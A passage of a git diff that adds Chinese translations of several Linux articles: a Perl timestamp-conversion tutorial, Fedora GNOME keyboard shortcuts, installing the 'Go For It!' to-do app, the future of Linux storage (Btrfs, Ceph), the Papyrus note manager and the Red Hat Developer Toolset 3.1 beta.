10:14:05 EDT 2015 +- 3/14/2015 10:14:05 -0400 +- 14/Mar/15 10:14:05 +- 14 Mar 15 10:14:05 + +``` +use Date::Parse; + +my $local_time = "Sat Mar 14 10:14:05 EDT 2015"; + +# 1426342445 will be stored in $unix_time +my $unix_time = str2time($local_time); +``` +Date:Parse 模块支持多种语言(英语,法语,德语和意大利语)和时区。例如: + + use Date::Parse; + use Date::Language; + + my $lang = Date::Language->new('French'); + my $unix_time = $lang->str2time("12:14:05, Ago 16, 2014 (CEST)"); + +### Perl中UNIX时间戳到易读的日期和时间 ### + +如果你想要转换UNIX时间戳到易读的格式,可以使用localtime()函数,此函数可以转换UNIX时间戳为一个9元素列表。然后你可以使用返回的list构造任何你需要的可读格式。这里有一个代码片段: + + # $sec, $min, $hour: 秒,分,时 + # $mday: 月中的某天 (0-31) + # $mon: 月份,范围 0 (一月) 至 11 (十二月) + # $year: 年份,与1900年的差值(2015年为2015-1900=115) + # $wday: 星期,范围 0 (星期天) 至 6 (星期六) + # $yday: 年中的某天,范围 0 至 364 (或 365 闰年) + # $isdst: 是否是夏令时 + + my ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = localtime($unix_timestamp); + + # necessary conversion of $mon and $year + $mon += 1; + $year += 1900; + + print "Current time: $year-$mon-$mday $hour:$min:$sec\n"; + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/convert-local-time-unix-timestamp-perl.html + +作者:[Dan Nanni][a] +译者:[VicYu/Vic020](http://vicyu.net) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni diff --git a/published/201504/20150318 Fedora GNOME Keyboard Shortcuts.md b/published/201504/20150318 Fedora GNOME Keyboard Shortcuts.md new file mode 100644 index 0000000000..75fdf0916e --- /dev/null +++ b/published/201504/20150318 Fedora GNOME Keyboard Shortcuts.md @@ -0,0 +1,220 @@ +Fedora GNOME 的常用快捷键 +================================================================================ +在Fedora中,为了获得最好的[GNOME桌面][1]体验,你需要了解并掌握一些驾驭系统的快捷键。 + +这篇文章将列举我们日常使用中使用频率最高的快捷键。 + +#### 1. Super键 #### + +![GNOME Keyboard Shortcuts - The Super Key. ](http://f.tqn.com/y/linux/1/L/o/K/1/gnomekeyboardshortcut1.png) + +*GNOME 快捷键 - super键* + +[“super”键][2]是如今驾驭操作系统的好朋友。 + +在传统的笔记本电脑中“super”键坐落于最后一列就在“alt”键的旁边(就是徽标键)。 + +当你按下“super”键后“activities”总览图就会出现,你就能看见所有打开应用的缩略图。 + +同时按下 "ALT" 和"F1"一样可以达到这样的效果。 + +### 2. 如何快速执行一条命令 ### + +![GNOME Run Command.](http://f.tqn.com/y/linux/1/L/p/K/1/runcommand.png) + +*GNOME 运行某命令* + +如果你需要快速的执行一条指令,你可以按下"ALT"+"F2",这样就会出现指令运行对话框了。 + +现在你就可以在窗口中输入你想要执行的指令了,回车执行。 + +### 3. 快速切换到另一个打开的应用 ### + +![TAB Through Applications.](http://f.tqn.com/y/linux/1/L/q/K/1/tabthroughwindows.png) + +*使用TAB在应用中切换* + +就像在微软的Windows下一样你可以使用"ALT"和"TAB" 的组合键在应用程序之间切换。 + +在一些键盘上tab键上画的是这样的**|<- ->|**,而有些则是简单的"TAB"字母。 + +GNOME应用切换器随着你的切换,显示简单的图标和应用的名字。 + +如果你按下"shift"+"tab"将以反序切换应用。 + +### 4. 在同一应用中快速切换不同的窗口 ### + +![Switch Windows In The Same Application.](http://f.tqn.com/y/linux/1/L/r/K/1/switchwindowsinsameapplication.png) + +*在应用中切换不同窗口* + +如果你像我一样经常打开五六个Firefox。 + +你已经知道通过"Alt"+"Tab"实现应用间的切换。有两种方法可以在同一个应用中所有打开的窗口中切换。 + +第一种是按"Alt"+"Tab"让选框停留在你所要切换窗口的应用图标上。短暂的停留等到下拉窗口出现你就能用鼠标选择窗口了。 + +第二种也是比较推荐的方式是按"Alt"+"Tab"让选框停留在你所要切换窗口的应用图标上,然后按"super"+"`"在此应用打开的窗口间切换。 + +**注释:"\`"就是tab键上面的那个键。无论你使用的那种键盘排布,用于切换的键一直都是tab上面的那个键,所以也有可能不是"\`"键。** + +如果你的手很灵活(或者是我称之为忍者手的)那你也可以同时按"shift", "\`"和"super"键来反向切换窗口。 + +### 5. 切换键盘焦点 ### + +![Switch Keyboard Focus.](http://f.tqn.com/y/linux/1/L/s/K/1/switchkeyboardfocus.png) + +*切换键盘焦点* + +这个键盘快捷键并不是必须掌握的,但是还是最好掌握。 + +如若你想将输入的焦点放到搜索栏或者一个应用窗口上,你可以同时按下"CTRL", "ALT"和"TAB",这样就会出现一个让你选择切换区域的列表。 + +然后就可以按方向键做出选择了。 + +### 6. 显示所有应用程序列表 ### + +![Show All Applications.](http://f.tqn.com/y/linux/1/L/t/K/1/showapplications.png) + +*显示所有应用程序* + +如果恰巧最后一个应用就是你想要找的,那么这样做真的会帮你省很多时间。 + +按"super"和"A"键来快速切换到这个包含你系统上所有应用的列表上。 + +### 7. 切换工作区 ### + +![Switch Workspaces.](http://f.tqn.com/y/linux/1/L/u/K/1/switchworkspaces.png) + +*切换工作区* + +如果你已经使用linux有一段时间了,那么这种[多工作区切换][3]的工作方式一定深得你心了吧。 + +举个例子,你在第一个工作区里做开发,第二个之中浏览网页,而把你邮件的客户端开在第三个工作区中。 + +工作区切换你可以使用"super"+"Page Up" (向上翻页)键朝一个方向切,也可以按"super"+"Page Down" (向下翻页)键朝另一个方向切。 + +还有一个比较麻烦的备选方案就是按"super"显示打开的应用,然后在屏幕的右侧选择你所要切换的工作区。 + +### 8. 将一些项目移至一个新的工作区 ### + +![Move Application To Another Workspace.](http://f.tqn.com/y/linux/1/L/v/K/1/movetoanewworkspace.png) + +*将应用移至另一个工作区* + +如果这个工作区已经被搞得杂乱无章了,没准你会想将手头的应用转到一个全新的工作区,请按组合键"super", "shift"和"page up"或"super", "shift"和"page down" 键。 + +备选方案按"super"键,然后在应用列表中找到你想要移动的应用拖到屏幕右侧的工作区。 + +### 9. 显示信息托盘 ### + +![Show The Message Tray.](http://f.tqn.com/y/linux/1/L/w/K/1/showmessagetray.png) + +*显示信息托盘* + +消息托盘会提供一个通知列表。按"super"+"M"呼出消息托盘。 + +备选方法是鼠标移动到屏幕右下角。 + +### 10. 锁屏 ### + +![Lock The Screen.](http://f.tqn.com/y/linux/1/L/x/K/1/lockscreen.png) + +*锁屏* + +想要休息一会喝杯咖啡?不想误触键盘? + +无论何时只要离开你的电脑应该习惯性的按下"super"+"L"锁屏。 + +解锁方法是从屏幕的下方向上拽,输入密码即可。 + +### 11. 关机 ### + +![Control Alt Delete Within Fedora.](http://f.tqn.com/y/linux/1/L/y/K/1/poweroff.png) + +*Fedora中Control+Alt+Delete* + +如果你曾是windows的用户,你一定记得著名的三指快捷操作CTRL+ALT+DELETE。 + +如果在键盘上同时按下CTRL+ALT+DELETE,Fedora就会弹出一则消息,提示你的电脑将在60秒后关闭。 + +### 12. 编辑快捷键 ### + +在各类操作系统中编辑快捷键都大同小异。 + +- CTRL + A - 全选 +- CTRL + X - 剪切 +- CTRL + C - 复制 +- CTRL + V - 粘贴 +- CTRL + Z - 撤销 + +### 13. 截屏 ### + +和编辑快捷键一样,截屏键也就那么基础的几个。 + +- PRTSC (Print Screen) - 截屏 + +- Alt + PRTSC - 当前窗口截图 + +- Shift + PRTSC - 所选区域截图 + +这里还有一个比较特殊的按键,主要是为了大家可以更容易的制作视频教程的。 + +- CTRL + ALT + SHIFT + R - 录制视频 +- CTRL + ALT + SHIFT + R 第二次按下时 - 停止录制 + +[录制的内容][4]将以[webm][5]格式保存于当前用户家目录下的录像文件夹中。 + +### 14. 并排显示窗口 ### + +![Put Windows Side By Side.](http://f.tqn.com/y/linux/1/L/z/K/1/splitwindows.png) + +*并排显示窗口* + +你可以将一个窗口靠左占满左半屏,另一个窗口靠右占满右半屏,让两个窗口并排显示。 + +也可以按"Super"+"←"(左箭头)让当前应用占满左半屏。按"Super"+"→"(右箭头)让当前应用占满右半屏。 + +### 15. 窗口的最大化,最小化和恢复 ### + +双击标题栏可以最大化窗口。 + +最大化后的窗口再双击就会还原至原大小。 + +右键菜单选择"最小化"就可以最小化了。 + +### 16. 总结 ### + +![GNOME Keyboard Shortcut Cheat Sheet. ](http://f.tqn.com/y/linux/1/L/-/L/1/gnomekeyboardshortcuts.png) + +*GNOME快捷键速查表* + +我做了一份快捷键速查表,你可以打印出来贴在墙上,这样一定能够更快上手。 + +当你掌握了这些快捷键后,你一定会感慨这个桌面环境使用起来是如此的顺手。 + +- [戳这里查看Fedora GNOME桌面的速查表][6] +- [查看GNOME WIKI请戳这里][7] +- [另外的一个GNOME WIKI][8] +- [GNOME 3备用速查表][9] + +-------------------------------------------------------------------------------- + +via: http://linux.about.com/od/howtos/tp/Fedora-GNOME-Keyboard-Shortcuts.htm + +作者:[Gary Newell][a] +译者:[martin2011qi](https://github.com/martin2011qi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linux.about.com/bio/Gary-Newell-132058.htm +[1]:https://www.gnome.org/gnome-3/ +[2]:http://en.wikipedia.org/wiki/Super_key_%28keyboard_button%29 +[3]:http://linux.about.com/library/gnome/blgnome2n4.htm +[4]:http://en.wikipedia.org/wiki/Screencast +[5]:http://en.wikipedia.org/wiki/WebM +[6]:https://s-media-cache-ak0.pinimg.com/originals/d5/f4/a4/d5f4a42c0940fae6653ee9a17294d450.jpg +[7]:http://en.wikipedia.org/wiki/GNOME +[8]:https://wiki.gnome.org/ +[9]:https://wiki.gnome.org/Gnome3CheatSheet diff --git a/published/201504/20150318 Install And Use 'Go For It!' To Do App In Linux.md b/published/201504/20150318 Install And Use 'Go For It!' To Do App In Linux.md new file mode 100644 index 0000000000..d76fecea59 --- /dev/null +++ b/published/201504/20150318 Install And Use 'Go For It!' To Do App In Linux.md @@ -0,0 +1,91 @@ +在Linux上安装使用‘Go for it!’备忘软件 +=============================================================================== +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Go_For_It_TODO_Linux.jpeg) + +你在 Linux 桌面是如何管理任务和备忘的?我喜欢[用 Ubuntu 的粘帖便签][1]很久了。但是我要面对与其他设备同步的麻烦,特别是我的智能手机。这就是我为什么选择使用 [Google Keep][2] 的原因了。 + +Google Keep 是一款功能丰富的软件,我十分喜爱,而且喜欢到把它叫做 [Linux 的 Evernote ][3]地步。但是并不是每个人都喜欢一款功能丰富的备忘录软件。极简主义是目前的主流,很多人喜欢。如果你是极简主义的追求者之一,而且正在寻找一款开源的备忘录软件,那么你应该试一试 [Go For It!][4]。 + +### Go For It!高效的Linux桌面软件 ### + +Go For It!是一款简洁的备忘软件,借助定时提醒帮助你专注于工作。所以,当你添加一个任务到列表后,可以附上一个定时器。到设定时间后,它就会提醒你去做任务。你可以看看其帅哥开发者 [Manuel Kehl][5] 制作的视频(youtube 视频) : https://www.youtube.com/watch?v=mnw556C9FZQ + +### 安装 Go For It!### + +要在 Ubuntu 15.04,14.04 和其他基于 Ubuntu 的Linux 发行版,如Linux Mint, elementary OS Freya 等上面安装 Go For It!请使用这款软件官方的 PPA: + + sudo add-apt-repository ppa:mank319/go-for-it + sudo apt-get update + sudo apt-get install go-for-it + +你也可以下载 .deb 包,Windows 安装包和源代码,链接如下: + +- [Download source code][6] +- [Download .deb binaries][7] +- [Download for Windows][8] + +### 在Linux桌面使用 Go For It!### + +Go For It!使用真心方便。你只需添加任务到列表中,任务会自动存入 todo.txt 文件中。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Go-for-it_todo_app_linux.png) + +每个任务默认定时25分钟。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Go-for-it_todo_app_linux_1.png) + +任务一旦完成,就会被自动存档到 done.txt 文件中。根据设置,它会在规定的时间间隔或者任务过期前不久,发送桌面提醒: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Go_for_it_Linux_notification.png) + +你可以从配置里面修改所有的偏好。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Go-for-it_todo_app_linux_2.png) + +目前一切都看着挺好。但是在智能手机上使用体验怎样呢?如果你不能使它在不同设备间同步,那这款高效软件就是不完整的。好消息是 Go For It!是基于 [todo.txt][9] 的,这意味着你可以用第三方软件和像 Dropbox 一样的云服务来使用它。 + +### 在安卓手机和平板上使用Go For It! ### + +在这里你需要做一些工作。首先的首先,在 Linux 和你的安卓手机上安装 Dropbox,如果之前没有安装的话。下一步你要做的就是要配置 Go For It!和 **修改 todo.txt 的目录到 Dropbox 的路径下**。 + +然后,你得去下载 [Simpletask Andriod app][10]。这是免费的应用。安装它。当你第一次运行 Simletask 的时候,你会被要求关联你的账号到 Dropbox: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Go_for_it_Android_1.jpeg) + +一旦你完成了 Simpletask 与 Dropbox 的关联,就可以打开应用了。如果你已经修改了 Go For It 的配置,将文件保存到Dropbox 上,你就应该可以在 Simpletask 里看到。而如果你没有看到,点击应用底部的设置,选择 Open Todo file 的选项: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Go_for_it_Android.jpeg) + +现在,你应该可以看到 Simpletask 同步的任务了。 + +### 总结 ### + +对于 Simpletask,你就可以以类似[标记语言工具][11]的风格使用它。对于小巧和专注而言,Go For It!是一款不错的备忘软件。一个干净的界面是额外的加分点。如果拥有它自己的手机应用就更好了,但是我们也有临时替代方案了。 + +底层来讲,Go For It! 不会运行在后台。这就是说,你不得不让它一直保持运行。它甚至没有一个最小化的按钮,这有一点小小的烦扰。我想要看到的是有一个小的指示程序,运行在后台,并且快速进入主面板,这肯定会提升其可用性。 + +试试 Go For It!吧,分享一下你的使用体验。在 Linux 桌面上,你还使用了哪些其他的备忘软件?比起其他你最喜欢的同类应用,Go For It!怎么样? + +------------------------------------------------------------------------------- + + +via: http://itsfoss.com/go-for-it-to-do-app-in-linux/ + +作者:[Abhishek][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://itsfoss.com/indicator-stickynotes-windows-like-sticky-note-app-for-ubuntu/ +[2]:http://itsfoss.com/install-google-keep-ubuntu-1310/ +[3]:http://itsfoss.com/5-evernote-alternatives-linux/ +[4]:http://manuel-kehl.de/projects/go-for-it/ +[5]:http://manuel-kehl.de/about-me/ +[6]:https://github.com/mank319/Go-For-It +[7]:https://launchpad.net/~mank319/+archive/ubuntu/go-for-it +[8]:http://manuel-kehl.de/projects/go-for-it/download-windows-version/ +[9]:http://todotxt.com/ +[10]:https://play.google.com/store/apps/details?id=nl.mpcjanssen.todotxtholo&hl=en +[11]:http://itsfoss.com/install-latex-ubuntu-1404/ diff --git a/published/201504/20150318 The future of Linux storage.md b/published/201504/20150318 The future of Linux storage.md new file mode 100644 index 0000000000..f2224a5bb7 --- /dev/null +++ b/published/201504/20150318 The future of Linux storage.md @@ -0,0 +1,86 @@ +Linux存储的未来 +================================================================================ +> **摘要**:Linux系统的软件开发者们正致力于使Linux支持更多种类的文件和存储方案。 + +波士顿 - 在[Linux基金会][1]最近的[Vault][2]展示会上,全都是关于文件系统和存储方案的讨论。你可以会觉得关于这两个主题并没有什么值得讨论的最新进展,但事实并非如此。 + +![](http://zdnet2.cbsistatic.com/hub/i/r/2015/03/12/c8f92cc2-b963-4238-80a0-d785ec93698c/resize/770x578/08d93a8a393d3f50b2a56e6b0e7a0ca9/btrfs-1.jpg) + +对Linux文件系统,比如Btrfs,和存储方案的支持正在持续发展中。 -- Facebook + +自从Linus提出“[讨厌的、生锈的机械磁盘]”的观点以来,存储技术已经走过一段长路,Linux也始终保持跟进。比如说,近几年来,[闪存已经逐渐成为企业服务器的主要存储器][4],[持久化内存][5]也正给我们带来拥有DRAM一般快速的存储。与此同时,大数据、云计算和容器化技术正给Linux引入新的应用场景。 + +为了应对挑战,Linux开发者们一边继续扩展已有的文件系统和存储程序,一边致力于开发新的方案。 + +### Btrfs ### + +例如,Chris Mason,一位来自Facebook的软件工程师,也是[Btrfs][6](念做 Butter FS)的维护者之一,介绍了Facebook是如何使用这种文件系统。Btrfs拥有文件系统固有的许多优点,比如既能处理大量的小文件,也能处理大小可达16EB的单个文件;支持RAID ;内置的文件系统压缩,以及集成了对多种存储设备的支持。 + +当然,Facebook的服务器也运行在Linux上。更准确地讲,是运行在一个基于[CentOS][7]的内部发行版上,它是基于3.10和3.18版的内核。对Facebook来说,真正的收获是Btrfs在Facebook持续更新的用户操作所带来的巨大的IOPS(每秒钟输入输出的操作数)的负载下依旧保持稳定和快速。 + +这就是好消息,但坏消息是对于像MySQL一样的传统DBMS(数据库管理系统)来说Btrfs还是太慢了。对此,Facebook采用了[XFS][8]。为了协同这两种文件系统,Facebook又用到了一种叫做[Gluster][9]的开源分布式文件系统。 + +Facebook,一直与上游的负责Btrfs的Linux内核开发者保持密切联系,致力于提高Btrfs在DBMS上的速度。Mason和他的同事的目标是在[RocksDB][10]数据库上使用Btrfs,RocksDB是一种为提供快速存储开发的持久化键值存储系统,可以作为客户端服务器模式数据库的基础部分。 + +当然Btrfs也还存在一些问题,比如,如果有用户傻到用数据把硬盘几乎要撑爆时,Btrfs会在硬盘被完全装满前阻止用户继续写入。对某些工程来说,比如[CoreOS][12],一款依赖容器化的企业版Linux系统,这种问题是致命的。[因此,CoreOS已经切换到使用xt4和overlayfs了][11]。 + +Btrfs的开发人员正致力于数据去重。在这一点上,当文件系统中拥有超过一个的相同文件时,会自动删除多余文件。正如Mason所说,“并非每个人都需要这个功能,但如果有人需要,那就是真的有用!” + +在正在开展的重要性工作中,Btrfs并非是唯一的文件系统。John Spary,[Red Hat][13]的一位高级软件工程师,提到了另一款名为[Ceph][14]的分布式文件系统。 + +### Ceph FS ### + +Ceph提供了一种分布式对象存储方案和文件系统,反过来它依托于一种使用商用硬件集群的弹性的、可扩展的存储模型(RADOS)。配合RADOS块设备(RBD)和RADOS对象网关(RGW),Ceph提供了一种[POSIX][15]接口的文件系统 -- Ceph FS。尽管RBD和RGW已经在生产环境中使用了一段时间,但使Ceph FS适用于生产的工作还是进行中。 + +[Rad Hat,在收购Ceph的母公司Inktank后][16],在2014年一直致力于使CephFS适用于生产环境。不管怎样,Spray说,“有些人已经在生产中使用了它;我们对此表示担忧,毕竟它还没有准备好。”然而,Spray也补充说,“这具有两面性,因为一方面这是让人担心的,另一方面我们又从用户获得了真正有用的反馈和测试。” + +这是因为尽管Ceph对象存储很好地支持扩展,但Ceph Fs,作为一种兼容POSIX的文件系统,却很难实现扩展。比如,作为一种分布式文件系统,Ceph FS必须解决来自多个客户端的多个写操作。这会导致全有或全无的情况,即一个客户端可以写入,但其它客户端必须等待,也会产生文件加锁的情形,即相比普通文件系统中更加复杂。 + +但是,Ceph FS仍值得去做,正如Spray所说,“因为兼容POSIX的文件系统是操作系统通用的。”这并不是说Ceph FS就一无是处。“它并不是支离破碎的,相反它奏效了。所缺的是修复和监控工具。” + +Red Hat目前正致力于完成[fsck][17]和日志修复工具开发、快照强化、更好客户端访问控制,以及云与容器的集成。尽管Ceph FS到目前为止只是一种有潜力或者没前景的文件系统,但仍然值得用在生产环境中。 + +### 文件与存储的差别与目标 ### + +至于文件系统和存储上的更大问题,Jeff Layton,[Primary Data][18]的一位高级软件工程师,解释说为了“在不断开电源的情况下给灾难性的电源故障提供测试”,大量的相关工作正在进行中。这些测试很快会被集成到[xftests][19]中,它是Linux文件系统测试的黄金标准。 + +Rik van Riel,一位Red Hat的主要软件工程师,谈到了解决持久化内存产品的问题。你可以把它们作为存储器或者内存。但是,如果你现在把它们作为内存来用,是不能为备份创建快照。真正的问题是:van Riel确信人们会尝试使用持久的内存作这两种用途,这会导致出现和“如果不备份,你会如何处理一个200GB大小的持久化内存数据库?”类似的情形发生。更糟的是,现在日志系统也无法和持久化的内存一起发挥作用。 + +正确的答案是什么呢?Linux至今还没有一个,但编程人员们正在努力寻找答案。 + +因此,尽管Linux支持很多文件系统,可以使用这里以外的任何一种存储器来存储数据,但是仍然有很多工作要做。技术从来不会止步不前。Linux,正运行在移动设备、桌面电脑、服务器、云端和超级计算机上等几乎所有的主流设备上,必须跟紧存储的发展步伐,不管它们以何种形式出现。 + +-------------------------------------------------------------------------------- + +via: http://www.zdnet.com/article/linux-storage-futures/ + +作者:[Steven J. Vaughan-Nichols][a] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.zdnet.com/meet-the-team/us/sjvn/ +[1]:http://www.linuxfoundation.org/ +[2]:http://events.linuxfoundation.org/events/vault +[3]:http://www.wired.com/2012/10/linus-torvalds-hard-disks/ +[4]:http://www.zdnet.com/article/sandisk-launches-infiniflash-aims-to-bring-flash-array-costs-down/ +[5]:http://events.linuxfoundation.org/sites/events/files/eeus13_wheeler.pdf +[6]:https://btrfs.wiki.kernel.org/index.php/Main_Page +[7]:http://www.centos.org/ +[8]:http://oss.sgi.com/projects/xfs/ +[9]:http://www.gluster.org/ +[10]:http://rocksdb.org/ +[11]:http://lwn.net/Articles/627232/ +[12]:https://coreos.com/ +[13]:http://www.redhat.com/ +[14]:http://ceph.com/ +[15]:http://pubs.opengroup.org/onlinepubs/9699919799/ +[16]:http://www.zdnet.com/article/red-hat-acquires-inktank-for-175m/ +[17]:http://linux.die.net/man/8/fsck +[18]:http://primarydata.com/ +[19]:http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/cmds/xfstests.git;a=summary + + + + diff --git a/published/201504/20150323 Papyrus--An Open Source Note Manager.md b/published/201504/20150323 Papyrus--An Open Source Note Manager.md new file mode 100644 index 0000000000..e5742facde --- /dev/null +++ b/published/201504/20150323 Papyrus--An Open Source Note Manager.md @@ -0,0 +1,59 @@ +Papyrus:开源笔记管理工具 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Papyrus_Linux_4.jpeg) + +在上一篇帖子中,我们介绍了[待办事项管理软件Go For It!][1]。今天我们将介绍一款名为**Papyrus的开源笔记软件** + +[Papyrus][2] 是[Kaqaz 笔记管理][3]的一个分支,使用 Qt5 开发。它不仅有简洁、易用的界面,(其宣称)还具备了较好的安全性。由于强调简洁,我觉得 Papyrus 与 OneNote 比较相像。你可以将你的笔记像"纸张"一样分类整理,还可以给他们添加标签进行分组。够简单的吧! + +## Papyrus 的特性: ### + +虽然 Papyrus 强调简洁,它依然有很多丰富的功能。它的一些主要功能如下: +- 按类别和标签管理笔记 +- 高级搜索选项 +- 触屏模式 +- 全屏选项 +- 备份至 Dropbox/硬盘/外部存储 +- 允许加密某些页面 +- 可与其他软件共享笔记 +- 与 Dropbox 加密同步 +- 除 Linux 外,还可在 Android,Windows 和 OS X 使用 + +### 安装 Papyrus ### + +Papyrus 为 Android 用户提供了 APK 安装包。Windows 和 OS X 也有安装文件。Linux 用户还可以获取程序的源码。Ubuntu 及其它基于 Ubuntu 的发行版可以使用 .deb 包进行安装。根据你的系统及习惯,你可以从 Papyrus 的下载页面中获取不同的文件: + +- [下载 Papyrus][4] + +### 软件截图 ### + +以下是此软件的一些截图: + + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Papyrus_Linux_3-700x450_c.jpeg) + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Papyrus_Linux_2-700x450_c.jpeg) + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Papyrus_Linux_1-700x450_c.jpeg) + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/03/Papyrus_Linux-700x450_c.jpeg) + +试试Papyrus吧,你会喜欢上它的。在下方评论区和我们分享你的使用经验吧。 + +(LCTT译注:此软件暂无中文版) + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/papyrus-open-source-note-manager/ + +作者:[Abhishek][a] +译者:[KevinSJ](https://github.com/KevinSJ) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://linux.cn/article-5337-1.html +[2]:http://aseman.co/en/products/papyrus/ +[3]:https://github.com/sialan-labs/kaqaz/ +[4]:http://aseman.co/en/products/papyrus/ diff --git a/published/201504/20150323 Red Hat Developer Toolset 3.1 beta arrives.md b/published/201504/20150323 Red Hat Developer Toolset 3.1 beta arrives.md new file mode 100644 index 0000000000..3fd91b69cd --- /dev/null +++ b/published/201504/20150323 Red Hat Developer Toolset 3.1 beta arrives.md @@ -0,0 +1,53 @@ +红帽开发者工具集3.1测试版发布了 +================================================================================ +> **摘要**:想要试试最新的红帽企业版Linux 6/7的开发者工具?测试版已经发布啦。 + +这是[DevOps][1]也不能完全解决的程序员和系统管理员之间永恒的问题之一。系统管理员想要最稳定的操作系统,而程序员想要最新最棒的开发工具。[红帽公司][2]对这个两难问题的解决方法就是用最新的稳定版[Red Hat Enterprise Linux (RHEL)][3]去测试这些新品牌工具,然后向开发者发布。 + +![红帽开发者工具集](http://zdnet4.cbsistatic.com/hub/i/2015/03/18/d92b1067-6b36-4ff0-ac9e-608fbe3e8c5d/ae80362df5401a37e3cbcd2598f33370/rhel-dev-tools.png) + +*红帽开发者工具集* + +红帽刚刚公布了给开发者的最新玩具:[红帽开发者工具集 3.1][4]。现在可以获得这些最热门工具包的测试版了。 + +这次更新包括: + +[GNUCompiler Collection (GCC) 4.9][5]: 最新的GCC上游稳定版本,提供多处改进和bug修复。 + +[Eclipse 4.4.1][6]: 支持Java 8 以及更新的Eclipse CDT(8.5)版本,Eclipse Linux Tools (3.1), Eclipse Mylyn (3.14), 和 Eclipse Egit/Jgit (3.6.1) + +众多额外的更新包: 包括 GDB 7.8.2, elfutils 0.161, memstomp 0.1.5, SystemTap 2.6, Valgrind 3.10.1, Dyninst 8.2.1, 以及 ltrace 0.7.91. + +用这些开发工具,你可以给RHEL 6 和 7.x 开发应用程序。这些应用程序可以在RHEL上运行,不管是物理机,虚拟机还是云环境。它们也可以在红帽提供的Platform-as-a-Service (PaaS)服务[OpenShift][7]上运行。 + +这些新的开发者程序集包括可以运行在[AMD64 和 Intel 64 架构][8]上RHEL 7的包。尽管这些工具都是64位的,你也可以用它们创建或者修改32位的二进制文件。 + +在运行任何这些程序之前,你应该安装RHEL所有最近的更新。要安装这个测试工具集,你的系统需要订阅“可选渠道”来获取所有红帽开发者工具集需要的工具链包。 + +另外,如果已经安装了早期版本的工具集,可能会遇到[安装Toolkit 3.1 时的一些问题][9]。尽管这些问题很容易解决,在安装新的工具集之前还是应该大概看一下这些可能出现的问题。 + +最后,你可能注意到一些最令人激动的工具,例如 Docker,Kubernetes以及其它容器工具并没有提供。因为它们在最新的发行版[RHEL 7.1][10] 和 [Red Hat Enterprise Linux 7 Atomic Host (RHELAH)][11]中。[红帽和Docker已成为合作伙伴][12],要获取这些支持容器的程序,你需要转换到支持Docker的RHEL版本上来。 + +-------------------------------------------------------------------------------- + +via: http://www.zdnet.com/article/red-hat-developer-toolset-3-1-beta-arrives/ + +作者:[Steven J. Vaughan-Nichols][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.zdnet.com/meet-the-team/us/sjvn/ +[1]:http://blogs.csc.com/2015/02/03/devops-theory-for-beginners/ +[2]:http://www.redhat.com/en +[3]:http://www.redhat.com/en/technologies/linux-platforms/enterprise-linux +[4]:http://www.redhat.com/en/about/blog/red-hat-developer-toolset-31-beta-now-available +[5]:https://gcc.gnu.org/gcc-4.9/ +[6]:https://projects.eclipse.org/projects/eclipse/releases/4.4.1 +[7]:https://www.openshift.com/ +[8]:https://access.redhat.com/documentation/en-US/Red_Hat_Developer_Toolset/3-Beta/html/3.1_Release_Notes/System_Requirements.html +[9]:https://access.redhat.com/documentation/en-US/Red_Hat_Developer_Toolset/3-Beta/html/3.1_Release_Notes/DTS3.1_Release.html#Known_Issues +[10]:http://www.zdnet.com/article/red-hat-7-1-is-here-centos-7-1-is-coming-soon/ +[11]:http://www.zdnet.com/article/red-hat-buys-into-docker-containers-with-atomic-host/ +[12]:http://www.zdnet.com/article/red-hat-partners-with-docker-to-create-linuxdocker-software-stack/ \ No newline at end of file diff --git a/published/201504/20150324 How to Install Telegram Messenger Application on Linux.md b/published/201504/20150324 How to Install Telegram Messenger Application on Linux.md new file mode 100644 index 0000000000..5400bd52ef --- /dev/null +++ b/published/201504/20150324 How to Install Telegram Messenger Application on Linux.md @@ -0,0 +1,132 @@ +如何在Linux上安装Telegram Messenger应用 +================================================================================ +Telegram是和whatsapp类似的及时通讯应用。它有一个庞大的用户群,并且很多能和其他通讯应用区分开来的特性。 + +![在Linux上安装Telegram](http://www.tecmint.com/wp-content/uploads/2015/03/Install-Telegram-in-Linux.png) +Telegram Messenger for Linux + +这篇文章让你了解Telegram应用,以及在Linux Box上的详细安装命令。 + +#### 